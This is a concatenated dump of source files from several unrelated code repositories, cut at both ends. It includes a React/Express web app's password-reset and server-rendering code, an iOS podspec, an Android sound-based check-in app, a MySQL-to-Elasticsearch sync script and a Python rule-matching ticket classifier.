'where': { 'id': request.params.id } }).then(function (response) { if (response) { reply().code(200); } else { reply().code(404); } }); } }; exports.default = productOrders;<file_sep>/server/email-templates/buildRegistrationEmail.js 'use strict'; import memberRegistration from './memberRegistration'; import subscriberRegistration from './subscriberRegistration'; import tourneyAdminRegistration from './tourneyAdminRegistration'; import eventAdminRegistration from './eventAdminRegistration'; import newsContributorRegistration from './newsContributorRegistration'; import venueAdminRegistration from './venueAdminRegistration'; import clubAdminRegistration from './clubAdminRegistration'; import systemAdminRegistration from './systemAdminRegistration'; function buildRegistrationEmail(role, user) { switch (role) { case 'member': return memberRegistration(user); case 'subscriber': return subscriberRegistration(user); case 'tourneyAdmin': return tourneyAdminRegistration(user); case 'eventAdmin': return eventAdminRegistration(user); case 'newsContributor': return newsContributorRegistration(user); case 'venueAdmin': return venueAdminRegistration(user); case 'clubAdmin': return clubAdminRegistration(user); case 'systemAdmin': return systemAdminRegistration(user); default: throw new Error('No e-mail template exists for the supplied user role!'); } } export default buildRegistrationEmail; <file_sep>/src/components/pages/NotFound.jsx 'use strict'; import React from 'react'; import render from 'react-dom'; import {Link} from 'react-router-dom'; import {Status} from '../../library/routing'; import ViewWrapper from '../ViewWrapper'; export default class NotFound extends React.Component { constructor() { super(); } componentWillMount() { const { history, location, match } = this.props; } componentDidMount() { document.title = "Battle-Comm | Page Not Found"; } render() { return ( <Status code={404}> <ViewWrapper headerImage="/images/Titles/Page_Not_Found.png" headerAlt="Page Not Found"> <div className="not-found"> <h1>404 | Page not found</h1> <h2>This is not the page you are looking for.</h2> <p> <Link to="/">Go back to the main page</Link> </p> </div> </ViewWrapper> </Status> ) } } <file_sep>/src/components/pages/ResetPassword.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../library/alerts'; import {handlers} from '../../library/utilities'; import {Form, Input} from '../../library/validations'; import ViewWrapper from '../ViewWrapper'; import PlayerService from '../../services/PlayerService'; const mapStateToProps = (state) => { return { 'user': state.user }; } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } class ResetPassword extends React.Component { constructor() { super(); this.state = { 'user': { 'email': '', 'password': '' }, 'passwordRepeat': '' } this.handleInputChange = this.handleInputChange.bind(this); this.handleInputMatch = this.handleInputMatch.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | Password Reset"; if (!this.props.match.params.resetToken) { this.showAlert('invalidToken'); this.props.history.push('/'); } } handleInputMatch(e) { this.setState({ 'passwordRepeat': e.target.value }) } handleInputChange(e) { this.setState({ 'user': handlers.updateInput(e, this.state.user) }); } handleSubmit(e) { PlayerService.setNewPassword(this.props.match.params.resetToken, this.state.user).then(() => { this.showAlert('passwordUpdated'); this.props.history.push('/login'); }).catch((error) => { console.log(error); this.showAlert('tokenExpired'); this.props.history.push('/forgot-password'); }); } showAlert(selector) { const alerts = { 'invalidToken': () => { this.props.addAlert({ 'title': 'Invalid Token', 'message': 'The supplied token is incorrect. Double check the supplied link from the password reset e-mail.', 'type': 'error', 'delay': 5000 }); }, 'tokenExpired': () => { this.props.addAlert({ 'title': 'Token Expired', 'message': 'The supplied token has expired. Submit a forgot password form to receive a new reset link.', 'type': 'error', 'delay': 5000 }); }, 'passwordUpdated': () => { this.props.addAlert({ 'title': 'Password Updated', 'message': 'Your password was successfully updated. Login to continue.', 'type': 'success', 'delay': 5000 }); }, } return alerts[selector](); } render() { return ( <ViewWrapper headerImage="/images/Titles/Password_Reset.png" headerAlt="Password Reset"> <div className="row"> <div className="small-12 columns"> <h3 className="text-center">Enter your e-mail address and click submit to change your password.</h3> <Form name="resetPasswordForm" submitText="Submit" handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-4 columns"> <label className="required">E-mail</label> <Input type="text" name="email" value={this.state.user.email} handleInputChange={this.handleInputChange} validate="email" required={true}/> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-4 columns"> <label className="required">New Password</label> <Input type="password" name="password" value={this.state.user.password} handleInputChange={this.handleInputChange} validate="password" required={true} inputMatch={this.state.passwordRepeat}/> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-4 columns"> <label className="required">Repeat Password</label> <Input type="password" name="passwordRepeat" value={this.state.passwordRepeat} handleInputChange={this.handleInputMatch} inputMatch={this.state.user.password} validate="password" required={true} /> </div> </div> </Form> </div> </div> <div className="row push-top"> <div className="form-group small-12 columns"> Return to login page? <Link to="/login">Go to Login</Link> </div> </div> <div className="row push-top-2x"> <div className="small-12 columns text-center"> <h5 className="required">Password Requirements</h5> <ul className="no-bullets"> <li>Minimum of 8 characters</li> <li>At least one lowercase letter</li> <li>At least one uppercase letter</li> <li>Minimum of 8 characters</li> <li>At least one symbol/special character !@#$%^&_-+=,./?</li> </ul> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(ResetPassword)); <file_sep>/src/library/utilities/isEmpty.js 'use strict'; const isEmpty = (objOrArray) => { if (Array.isArray(objOrArray)) { if (objOrArray.length === 0) { return true; } else { return false; } } if (Object.keys(objOrArray).length === 0 && objOrArray.constructor === Object) { return true; } return false; } export default isEmpty; <file_sep>/server-client/index.jsx 'use strict'; import path from 'path'; import http from 'http'; import https from 'https'; import fs from 'fs'; import Express from 'express'; import React from 'react'; import ReactDOMServer from 'react-dom/server'; import { StaticRouter, matchPath } from 'react-router-dom'; import { applyMiddleware, createStore } from 'redux'; import { Provider } from 'react-redux'; import thunkMiddleware from 'redux-thunk'; import routeConfig from './routeConfig'; import rootReducer from '../src/reducers'; import Layout from '../src/components/Layout'; import routes from '../src/routes'; import env from '../envVariables'; // Initialize the server and configure support for handlebars templates let credentials, server; if (env.name === 'production') { credentials = { 'key': fs.readFileSync(__dirname + '/../server/ssl/www.battle-comm.net.key'), 'cert': fs.readFileSync(__dirname + '/../server/ssl/ssl-bundle.crt') }; } const app = new Express(); if (env.name === 'production') { server = https.createServer(credentials, app); } else { server = http.createServer(app); } app.set('view engine', 'hbs'); app.set('views', path.join(__dirname, 'views')); // Define the folder that will be used for static assets app.use(Express.static(path.join(__dirname + '/../dist/'))); // Universal routing and rendering for SEO for (let i in routeConfig) { let routePath = routeConfig[i].route; let routeView = routeConfig[i].view; app.get(routePath, (req, res) => { let promises = []; const context = {}; const initialState = {}; const store = createStore( rootReducer, initialState, applyMiddleware( thunkMiddleware ) ); routes.some(route => { const match = matchPath(req.url, route); if (match && route.fetchData) { const Comp = route.component.WrappedComponent const initData = (Comp && route.fetchData) || (() => Promise.resolve()); // fetchData calls a dispatch on the store updating the current state before render promises.push(initData(store)); } return match; }); Promise.all(promises).then(() => { const markup = ReactDOMServer.renderToString( <Provider store={store}> <StaticRouter location={req.url} context={context}> <Layout/> </StaticRouter> </Provider> ) // This gets the initial state created after all dispatches are called in fetchData Object.assign(initialState, store.getState()); const state = JSON.stringify(initialState); if (context.url) { console.log('Somewhere a <Redirect> was rendered'); res.writeHead(context.status, { 'Location': context.url }); res.end(); } else { return res.render(routeView, {markup, state}); } }); }); } // Start the server const port = env.clientPort; server.listen(port, err => { if (err) { return console.error(err); } console.info(`Server running at: ${env.baseUrl}:${port}, with process id ${process.pid}`); });
d58f44a16e2cf13d03023f85a96de6961384e862
[ "JavaScript" ]
158
JavaScript
zdizzle6717/battle-comm
5754e7c935b6f2de584d4b20a3ec792536eb83af
8db87aa667c58c6e4b0b17b71fa2dce351b45d02
refs/heads/main
<file_sep>// Agora Engine SDK // // Copyright (c) 2019 Agora.io. All rights reserved. // #ifndef PIXELFREE_BASE_H #define PIXELFREE_BASE_H enum CODE_TYPE { code_error_faceAuth = 1 }; #endif <file_sep># # Be sure to run `pod spec lint PixelFree.podspec' to ensure this is a # valid spec and to remove all comments including this before submitting the spec. # # To learn more about Podspec attributes see https://guides.cocoapods.org/syntax/podspec.html # To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/ # Pod::Spec.new do |spec| spec.name = "PixelFree" spec.version = "1.2.1" spec.summary = "美颜sdk" spec.homepage = "https://github.com/iossun/PixelFree" spec.license = "MIT" spec.author = { "sunmu" => "<EMAIL>" } spec.platform = :ios, "9.0" spec.source = { :git => "https://github.com/iossun/PixelFree.git", :tag => "#{spec.version}" } spec.source_files = "**/*.{h,m,inl}" spec.resources = '**/*.{png,txt}' spec.ios.vendored_frameworks = 'PixelFree/PixelFree.framework' spec.pod_target_xcconfig = { 'VALID_ARCHS' => 'arm64' } spec.ios.frameworks = ['UIKit', 'AVFoundation'] spec.pod_target_xcconfig = { 'EXCLUDED_ARCHS[sdk=iphonesimulator*]' => 'arm64'} spec.user_target_xcconfig = { 'EXCLUDED_ARCHS[sdk=iphonesimulator*]' => 'arm64'} spec.requires_arc = true end
29921890f33cf2063901f806f7ee61b09833700c
[ "C", "Ruby" ]
2
C
mu-code007/PixelFree
df61432ddac1e0b8d66148ed193577c82f564023
90cd93cad300da67fe8abdb5d200077569229ed6
refs/heads/master
<file_sep>package com.example.soundlesscheck_in; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.security.crypto.EncryptedSharedPreferences; import androidx.security.crypto.MasterKeys; import java.io.IOException; import java.security.GeneralSecurityException; import euphony.lib.transmitter.EuTxManager; public class SpeakerFragment extends Fragment implements View.OnClickListener { private boolean speak = false; // Variables of UI component private TextView tvNumber; private TextView tvCity; private Button btnCheckIn; private Button btnSetting; // private String data; // data that gonna be sent. private String phoneNumber; private String livingCity; // Euphony Library private EuTxManager mTxManager = new EuTxManager(); public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_speaker, container,false); setUI(v); return v; } @Override public void onResume() { super.onResume(); getData(); } private void setUI(View v) { tvNumber = v.findViewById(R.id.textViewNumEdit_Speaker); tvCity = v.findViewById(R.id.textViewCityEdit_Speaker); btnCheckIn = v.findViewById(R.id.btnCheckIn); btnCheckIn.setOnClickListener(this); btnSetting = v.findViewById(R.id.btnSetting_Speaker); btnSetting.setOnClickListener(this); } private void getData() { // necessary information phoneNumber = EncryptedSPManager.getString(this.getActivity(), "phone"); livingCity = EncryptedSPManager.getString(this.getActivity(), "city"); data = phoneNumber+"/"+livingCity; // Data format : 010-xxxx-xxxx/City(English) // ex) 010-1234-1234/Seoul tvNumber.setText(phoneNumber); tvCity.setText(livingCity); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btnCheckIn : if (speak) { // Toast.makeText(getActivity(), "Stop", Toast.LENGTH_SHORT).show(); mTxManager.stop(); speak = false; } else { // Toast.makeText(getActivity(), data, Toast.LENGTH_SHORT).show(); mTxManager.euInitTransmit(data); mTxManager.process(-1); // -1 : generate sound infinite speak = true; } break; case R.id.btnSetting_Speaker : Intent tutorialIntent = new Intent(getActivity(), TutorialActivity.class); tutorialIntent.putExtra("boolean_checkFirst", false); startActivity(tutorialIntent); break; default: break; } } } <file_sep>package com.example.soundlesscheck_in; import android.app.ActionBar; import android.graphics.Color; import android.os.Bundle; import android.telephony.PhoneNumberFormattingTextWatcher; import android.util.Log; import android.view.Gravity; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.RelativeLayout; import androidx.appcompat.app.AppCompatActivity; public class TutorialActivity extends AppCompatActivity implements View.OnClickListener { private static final int btnCancel = 11111; private boolean isFirst; private boolean isBtnMade = false; private LinearLayout mLayout; private EditText mPhoneNumber; private EditText mLivingCity; private Button mGetInfoBtn; private Button mCancelBtn; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.tutorial); setUI(); } @Override protected void onResume() { super.onResume(); if(!isFirst) updateEditTextUI(); } protected void setUI() { mLayout = findViewById(R.id.layoutTutorialButtons); mPhoneNumber = findViewById(R.id.phonenumberEditText); mLivingCity = findViewById(R.id.citynameEditText); mGetInfoBtn = findViewById(R.id.btnGetFirstInfo); mPhoneNumber.addTextChangedListener(new PhoneNumberFormattingTextWatcher()); mGetInfoBtn.setOnClickListener(this); isFirst = getIntent().getBooleanExtra("boolean_checkFirst", false); if(!isFirst&&!isBtnMade) addNewButton(); } protected void addNewButton() { mCancelBtn = new Button(this); LinearLayout.LayoutParams pm = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.WRAP_CONTENT, LinearLayout.LayoutParams.WRAP_CONTENT); pm.gravity = Gravity.RIGHT; mCancelBtn.setId(btnCancel); mCancelBtn.setText("CANCEL"); mCancelBtn.setTextColor(Color.parseColor("#FFFFFF")); //white mCancelBtn.setTextSize(25); mCancelBtn.setBackgroundResource(R.drawable.btn_background); mCancelBtn.setLayoutParams(pm); mLayout.addView(mCancelBtn); mCancelBtn.setOnClickListener(this); isBtnMade = true; } protected void updateEditTextUI() { mPhoneNumber.setText(EncryptedSPManager.getString(this,"phone")); mLivingCity.setText(EncryptedSPManager.getString(this, "city")); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btnGetFirstInfo: EncryptedSPManager.setString(this, "phone", mPhoneNumber.getText().toString()); EncryptedSPManager.setString(this, "city", mLivingCity.getText().toString()); finish(); break; case btnCancel: finish(); break; default: break; } } }
47b624461ba6419bca5b1c8e9fc261bf0a0e64a2
[ "Java" ]
2
Java
aiclaudev/soundless-check-in
0011c7e3cb7dc36a768357fcd6aca612aac77dd4
9c97f1b1f1dc603dd40ac98a673e95e9c487a0f8
refs/heads/main
<repo_name>skacjs6054/RDB2ES<file_sep>/rdbms2es/app.py from flask import Flask import json from elasticsearch import Elasticsearch import atexit import pandas as pd from apscheduler.schedulers.background import BackgroundScheduler from mymysql import * from datetime import datetime app = Flask(__name__) table_config = pd.read_json('./table_config.json', typ='series').to_dict() es_config = pd.read_json('./es_config.json', typ='series').to_dict() conn = connDB() cursor = cursorDB(conn) es = Elasticsearch(hosts=es_config['host'], port=es_config['port']) @app.route('/home') def index(): return "Hello World! It's RDB2ES!" def linkDB(): try: last_date = pd.read_json('./last_date.json', typ='series').to_dict() except ValueError: last_date = { "date": datetime.now() } if not conn : print("DB connect failed.") return False if not cursor : print("cursor connect failed") return False #print(last_date['date']) sql = "SELECT "+str(table_config['id']) for i in table_config['columns']: sql += ","+str(i) sql += " from "+str(table_config['table_name'])+" where modification_time > '"+str(last_date['date'])+"';" cursor.execute(sql) result = cursor.fetchall() if len(result) > 0: #print(result) for row in result: doc = {} for key in row.keys(): if key != table_config['id']: doc[key] = row[key] es.index(index=es_config['index'], id=row[table_config['id']], body=doc) dayNow = datetime.now() last_date['date'] = str(dayNow) #print(last_date) file = open('./last_date.json', 'w') json.dump(last_date, file) file.close() scheduler = BackgroundScheduler(daemon=True) scheduler.add_job(func=linkDB, trigger="interval", seconds=15) scheduler.start() if __name__ == '__main__': try: app.run(host='0.0.0.0', port=8080, debug=True) finally: disconnDB(conn) es.close() atexit.register(lambda: scheduler.shutdown()) <file_sep>/rdbms2es/mymysql.py import pymysql as mysql import pandas as pd import numpy as np def connDB(): try: dbData = pd.read_json('./mysql.json', typ='series').to_dict() conn = mysql.connect(user=dbData['user'], passwd=dbData['passwd'], host=dbData['host'], port=dbData['port'],db=dbData['db'], charset='utf8') cursor = cursorDB(conn) print('Opened database successfully') return conn except err: print('Failed opening database :', err) return False def cursorDB(conn): try: cursor = conn.cursor(mysql.cursors.DictCursor) return cursor except err: print("Failed cursor :", err) return False def commitDB(conn): conn.commit() def disconnDB(conn): conn.close() <file_sep>/README.md Relationship DataBase To ElasticSearch ============= This code is just my private code to use only python that link the RDBMS to Elasticsearch. I just share my code and I'm never responsible for the problem that is caused by this code. Requirements ------- - Elasticsearch(in this used 7.9) - MariaDB (in this used 10.3.22, or MySQL available) - Flask (in this used 1.1.x) - and other modules that you can install by use pip if you want to use this code, just use by command ``` python app.py ``` File Instruction ------- app.py - Main code that connect rdbms and elasticsearch, and link these mymysql.py - the code to connect rdbms ### Please your configuration in json file. 1. es_config.json - host : your elasticsearch's ip address - port : your elasticsearch's port - index : your elasticsearch's index that you want to link with rdbms 2. mysql.json - user : your mysql user id - passwd : <PASSWORD> - host : your mysql's ip address - port : your mysql's port - db : your mysql's database that you want to link with Elasticsearch 3. table_config.json - table_name : your mysql's table that you want to link with Elasticsearch - id : please mysql's column name that you want to use as a id in Elasticsearch - columns : mysql columns list that you want to link with elasticsearch #### You must create the table with some fixed columns in RDBMS. 1. id 2. modification_time 3. insertion_time please refer to [this site](https://www.elastic.co/blog/how-to-keep-elasticsearch-synchronized-with-a-relational-database-using-logstash).
39755102433cd84c8918cc23754e4ece095cf434
[ "Markdown", "Python" ]
3
Python
skacjs6054/RDB2ES
05ac220ec29a0de90e30c4ee974d1381af62d20a
5ad6620897db228cd7f8d4fd52bd1e82f2fa79dd
refs/heads/master
<repo_name>Peterzwb/MatchRuler<file_sep>/match_rule/utils/dict.py # -*- coding: utf-8 -*- """ Created on Tue Aug 7 09:41:47 2018 @author: Administrator """ class read_dict(object): dict_label = {"订单卡单": 1.1 , "订单删单/撤单":1.2 , "订单待峻工":1.3 , "人像采集报错":2.1 , "流量费用争议":3.1 , "缴费未到账(第三方平台问题)":4.1 , "年付宽带到期停机":5.1 , "非实名/疑似虚假登记停机":5.2 , "改签不限量套餐": 6.1 , "受理报错":6.2 , "集团4G系统校验不通过":6.3 , "拆机/销户系统校验不通过":6.4 , "过户不成功":6.5 , "签转不限量副卡未享受优惠":6.6 , "一卡双号退订":7.1 , "未实名":7.2 , "发票打印":8.1 , "增值发票":8.2 , "串码释放":9.1 , "套餐补录":10.1 , "套餐后台修改":10.2 , "客户编码合并":10.3 , "OCS冷冻期解冻":10.4 , "工号权限/密码" :11.1 , "IPTV卡单":12.1 ,"IPTV退单、删单":12.2 , "ITV标清改高清/退单":12.3 , "财辅报账支撑":13.1 , "固定资产支撑":13.2 , "采购支撑":13.3 , "工程类项目支撑":13.4 , "电子流与易支撑重复派单":14.1 , "无匹配标签":-1} if __name__ == '__main__': read_dict.dict_label["订单卡单"]<file_sep>/match_rule/match_rule.py # from match_rule.utils.DbUtil import DbUtil from utils.DbUtil import DbUtil from python_re_text import PyReText import os import sys import numpy as np import pandas as pd from utils.dict import read_dict from Application import Application import Application as App # from boto.ec2.buyreservation import answer pathname = os.path.dirname(os.path.abspath(__file__)) sys.path.append(pathname) file_answer_name = "test2.csv" class get_data: App.tasker() def __init__(self): self.q_original_label = Application.all_data['q_original_label'] self.q_original_nolabel = Application.all_data['q_original_nolabel'] def get_dict(): dict_label = read_dict.dict_label dict_use = {v: k for k, v in dict_label.items()} return dict_use class match_re: def __init__(self): self.db = DbUtil().getDb() def run(self,question): p = False attr_ids = self.db.query('select DISTINCT attr_id from q_rule')#从表qa_rule里面提取出attr_id print(attr_ids) re_text = PyReText() # answers = [] for attr_id in attr_ids: rules = self.db.query('select * from q_rule where attr_id = %s', 'all_dict', attr_id) #这句话没看懂,查看query的函数参数 rule_type = re_text.getTreeDict(rules=rules, value=question)#从python_re_text调用函数 if rule_type != None: # answers.append(rule_type) # if answers != None: p = True # return answers return rule_type if not p: return -1 def get_answer_rule(data_type): f = match_re() data = get_data() dict_answers = get_dict() if data_type == "nolabel": questions = data.q_original_nolabel elif data_type == "label": questions = data.q_original_label else: print("erro:no data") questions["label_predict"] = None for i in range(0 , len(questions)): question = questions.question[i] answer = float(f.run(question= question)) # answer = f.run(question= question) # # for j in range(0,len(answer)): # answer[i] = float(answer[i]) # for number in answer: questions.label_predict[i] = dict_answers[answer] questions.to_csv(file_answer_name) if __name__ == '__main__': data_type = "label" get_answer_rule(data_type= data_type) # # test = match_re() # answer = test.run(("请协助将IPTV5602015270291套餐ID: 181153153 费用减免_购机顶盒送话费_总额240元分10元*24个月赠送_201408 处理当月生效")) # <file_sep>/match_rule/python_re_text.py #-*-coding=utf-8-*- from utils.Constant import Constant class PyReText(object): #对一条规则进行比对 def run_rule(self, rule_item, value): rule_symb = rule_item.get(Constant.DbTable.RULE_SYMB) rule_value = rule_item.get(Constant.DbTable.RULE_VALUE) # print('rule_express:'+rule_express+' rule_value:' +rule_value) if rule_symb == '=': return value == rule_value elif rule_symb == 'like': return value.find(rule_value) != -1 elif rule_symb == 'nolike': return value.find(rule_value) == -1 return False # 匹配规则树 返回result,true false def invoke_rule_tree(self, level_dict,rule_dict,value): max_level = max(level_dict.keys()) rule_list = level_dict.get(max_level) prev_list = [] rule_result_dict = {} pid_temp = {} # 保存pid,判断是否重复 for rule_item in rule_list: pid = rule_item.get(Constant.DbTable.PID) rule_result = self.run_rule(rule_item, value) # print('----' + str(rule_result)) # 保存结果 result_list = rule_result_dict.get(pid) # 是最上级就返回 if pid == -1: return rule_result if result_list is None: rule_result_dict[pid] = [] result_list = rule_result_dict.get(pid) result_list.append(rule_result) # 获取上级信息 p_rule = pid_temp.get(pid) if not p_rule: parent_rule = rule_dict.get(pid) pid_temp[pid] = parent_rule if parent_rule: prev_list.append(parent_rule) max_level = max_level-1 rule_list = level_dict.get(max_level) if rule_list: prev_list.extend(rule_list) while len(prev_list) > 0: pre_list_temp = [] for rule_item in prev_list: rule_id = rule_item.get(Constant.DbTable.RULE_ID) pid = rule_item.get(Constant.DbTable.PID) rule_symb = rule_item.get(Constant.DbTable.RULE_SYMB) if rule_symb is None: # 父级只判断子级结果 # 只有2个结果? rule_result_sub = rule_result_dict.get(rule_id) # print('--------------') # print(rule_result_sub) # print('--------------') rule_operator = rule_item.get(Constant.DbTable.RULE_OPERATOR) if rule_operator == '||': rule_result = rule_result_sub[0] or rule_result_sub[1] elif rule_operator == '&&': rule_result = rule_result_sub[0] and rule_result_sub[1] else: rule_result = False # print('----2' + str(rule_result_sub)) else: rule_result = self.run_rule(rule_item, value) # print('----1' + str(rule_result)) # 是最上级就返回 if pid == -1: return rule_result # 保存结果 result_list = rule_result_dict.get(pid) if result_list is None: rule_result_dict[pid] = [] result_list = rule_result_dict.get(pid) result_list.append(rule_result) p_rule = pid_temp.get(pid) if not p_rule: parent_rule = rule_dict.get(pid) pid_temp[pid] = parent_rule if parent_rule: pre_list_temp.append(parent_rule) max_level = max_level-1 rule_list = level_dict.get(max_level) if rule_list: pre_list_temp.extend(rule_list) prev_list = pre_list_temp # 匹配value(传入文本) def getTreeDict(self, rules,value): pid_dict = {} # 根据pid存items,数组 rule_dict = {} level_dict = {} # 存数据的层级 tree_dict = {} # 存最后结果 for rule in rules: pid = rule.get(Constant.DbTable.PID) #规则字典 k-v rule id :rule rule_dict[rule.get(Constant.DbTable.RULE_ID)] = rule #填充pid_dic k-v rule_id(pid):[rule1,rule2] if pid is None: pid = -1 items = pid_dict.get(pid) if items is None: pid_dict[pid] = [] items = pid_dict.get(pid) items.append(rule) rule_type = pid_dict[-1][0].get(Constant.DbTable.RULE_TYPE) level_val = 0 #顶级节点集 first_item = pid_dict[-1] if first_item: #填充level_dict for rule_item in first_item: rule_id = rule_item.get(Constant.DbTable.RULE_ID) tree_dict[rule_id] = rule_item rule_item[Constant.ReTextInfo.ITEMS] = [] sub_items = rule_item.get(Constant.ReTextInfo.ITEMS) is_val = self.deal_tree_sub_item(pid_dict, level_dict, level_val + 1, rule_id, sub_items) if not is_val: level_item = level_dict.get(level_val) if level_item is None: level_dict[level_val] = [] level_item = level_dict.get(level_val) level_item.append(rule_item) result = self.invoke_rule_tree(level_dict,rule_dict,value) # print('result:'+str(result)) if result : return rule_type else: None def deal_tree_sub_item(self, pid_dict, level_dict, level_val, pid, items): sub_items = pid_dict.get(pid) if sub_items : items.extend(sub_items) for rule_item in sub_items: rule_id = rule_item.get(Constant.DbTable.RULE_ID) rule_item[Constant.ReTextInfo.ITEMS] = [] sub_items = rule_item.get(Constant.ReTextInfo.ITEMS) is_val = self.deal_tree_sub_item(pid_dict, level_dict, level_val + 1, rule_id, sub_items) if not is_val: level_item = level_dict.get(level_val) if level_item is None: level_dict[level_val] = [] level_item = level_dict.get(level_val) level_item.append(rule_item) return True else: return False <file_sep>/match_rule/utils/LightMysql.py #!/usr/bin/env python # -*- coding: utf-8 -*- import pymysql import time, re import hashlib #from Util import Util class LightMysql: """Lightweight python class connects to MySQL. """ _dbconfig = None _cursor = None _cursor_dic = None _connect = None _error_code = '' # error_code from MySQLdb TIMEOUT_DEADLINE = 30 # quit connect if beyond 30S TIMEOUT_THREAD = 10 # threadhold of one connect TIMEOUT_TOTAL = 0 # total time the connects have waste #util = Util(); def __init__(self, dbconfig, is_dict=None): try: self._dbconfig = dbconfig self.dbconfig_test(dbconfig) self._connect = pymysql.connect( host=self._dbconfig['host'], port=self._dbconfig['port'], user=self._dbconfig['user'], passwd=self._dbconfig['passwd'], db=self._dbconfig['db'], charset=self._dbconfig['charset'], connect_timeout=self.TIMEOUT_THREAD) except Exception as e: print(self) self._error_code = e.args[0] error_msg = "%s --- %s" % (time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())), type(e).__name__), e.args[0], e.args[1] print(error_msg) # reconnect if not reach TIMEOUT_DEADLINE. if self.TIMEOUT_TOTAL < self.TIMEOUT_DEADLINE: interval = 0 self.TIMEOUT_TOTAL += (interval + self.TIMEOUT_THREAD) time.sleep(interval) return self.__init__(dbconfig) raise Exception(error_msg) # self._cursor = self._connect.cursor(MySQLdb.cursors.DictCursor) # if is_dict: # self._cursor = self._connect.cursor(MySQLdb.cursors.DictCursor) # else: # self._cursor = self._connect.cursor() self._cursor = self._connect.cursor() self._cursor_dic = self._connect.cursor(pymysql.cursors.DictCursor) def dbconfig_test(self, dbconfig): flag = True if type(dbconfig) is not dict: print('dbconfig is not dict') flag = False else: for key in ['host', 'port', 'user', 'passwd', 'db']: if not key in dbconfig: print("dbconfig error: do not have %s" % key) flag = False if not 'charset' in dbconfig: self._dbconfig['charset'] = 'utf8' if not flag: raise Exception('Dbconfig Error') return flag def query(self, sql, ret_type='all', values=None): try: if ret_type == 'all_dict': query_cursor = self._cursor_dic else: query_cursor = self._cursor query_cursor.execute("SET NAMES utf8") if values: query_cursor.execute(sql, values) else: query_cursor.execute(sql) if ret_type == 'all': return self.rowsTuple2array(query_cursor.fetchall()) elif ret_type == 'all_mlp': return self.rowsTuple2array(query_cursor.fetchall()), query_cursor.__dict__.get("description") elif ret_type == 'one': return query_cursor.fetchone() elif ret_type == 'count': return query_cursor.rowcount elif ret_type == 'all_dict': return query_cursor.fetchall() except Exception as e: self._error_code = e.args[0] print("Mysql execute error:", e.args[0], e.args[1]) return False def dml(self, sql): '''update or delete or insert''' try: self._cursor.execute("SET NAMES utf8") self._cursor.execute(sql) type = self.dml_type(sql) # if primary key is auto increase, return inserted ID. id = True if type == 'insert': id = self._connect.insert_id() self._connect.commit() return id except Exception as e: self._error_code = e.args[0] print("Mysql execute error:", e.args[0], e.args[1]) return False def dml_by_val(self, sql, values): '''update or delete or insert''' try: self._cursor.execute("SET NAMES utf8") self._cursor.execute(sql, values) type = self.dml_type(str(sql)) # if primary key is auto increase, return inserted ID. id = True if type == 'insert': id = self._connect.insert_id() self._connect.commit() return id except Exception as e: #self._error_code = e.args[0] print("Mysql execute error:", e) return False def dml_type(self, sql): re_dml = re.compile('^(?P<dml>\w+)\s+', re.I) m = re_dml.match(sql.strip()) if m: if m.group("dml").lower() == 'delete': return 'delete' elif m.group("dml").lower() == 'update': return 'update' elif m.group("dml").lower() == 'insert': return 'insert' print("%s --- Warning: '%s' is not dml." % (time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())), sql)) return False def rows2array(self, data): '''transfer tuple to array.''' result = [] for da in data: if type(da) is not dict: raise Exception('Format Error: data is not a dict.') result.append(da) return result def rowsTuple2array(self, data): '''transfer tuple to array.''' result = [] for da in data: if type(da) is not tuple: raise Exception('Format Error: data is not a tuple.') arr = list(da) # arr[0] = self.util.getHashCode(arr[0]) # arr[1] = self.util.getHashCode(arr[1]) # arr[4] = self.util.getHashCode(arr[4]) # arr[12] = self.util.getHashCode(arr[12]) # arr[14] = self.util.getHashCode(arr[14]) # print(arr) result.append(arr) return result def __del__(self): '''free source.''' try: self._cursor.close() self._cursor_dic.close() self._connect.close() except: pass def close(self): self.__del__() <file_sep>/match_rule/utils/ReadConfig.py #encoding=utf-8 import configparser #配置描述 #Crontab round # interval 时间间隔 # limit_num 首次分片数量 # forward_time 往前N时间段获取数据,防止数据不完整 # data_interval 数据间隔时间 # # #DB # db_type 数据库类型 # db_host 地址 # db_port 端口 # db_user 用户名 # db_passwd 密码 # db_name 初始连接库 class ReadConfig(object): #ConfigParser instance cf = configparser.ConfigParser() #Config file path config_path = '../config/compact.conf' #Crontab interval = 60 #秒 limit_num = 10000 data_interval = 3600 #秒 forward_time = 300 #秒 #DB db_type = 'mysql' #数据库类型 db_host = '192.168.35.126' db_port = '3306' db_user = 'root' db_passwd = '' db_name = '' db_charset = 'utf8' db_insertInterval = 0 #模型入库间隔时间 db_verStartTime = '08' #入库版本开始时间 def __init__(self, config_path): #初始配置 self.config_path = config_path self.LoadConfig(config_path)#获取数据库信息 #载入配置 def LoadConfig(self, conf_path): if self.config_path != conf_path : self.config_path = conf_path self.cf.read(conf_path) #DB db_sec = self.cf['db'] self.db_type = db_sec.get("type","mysql") self.db_host = db_sec.get('host') self.db_port = db_sec.get('port','3306') self.db_user = db_sec.get('user') self.db_passwd = db_sec.get('passwd') self.db_name = db_sec.get('dbname','') self.db_charset = db_sec.get('charset','utf8') self.db_insertInterval = 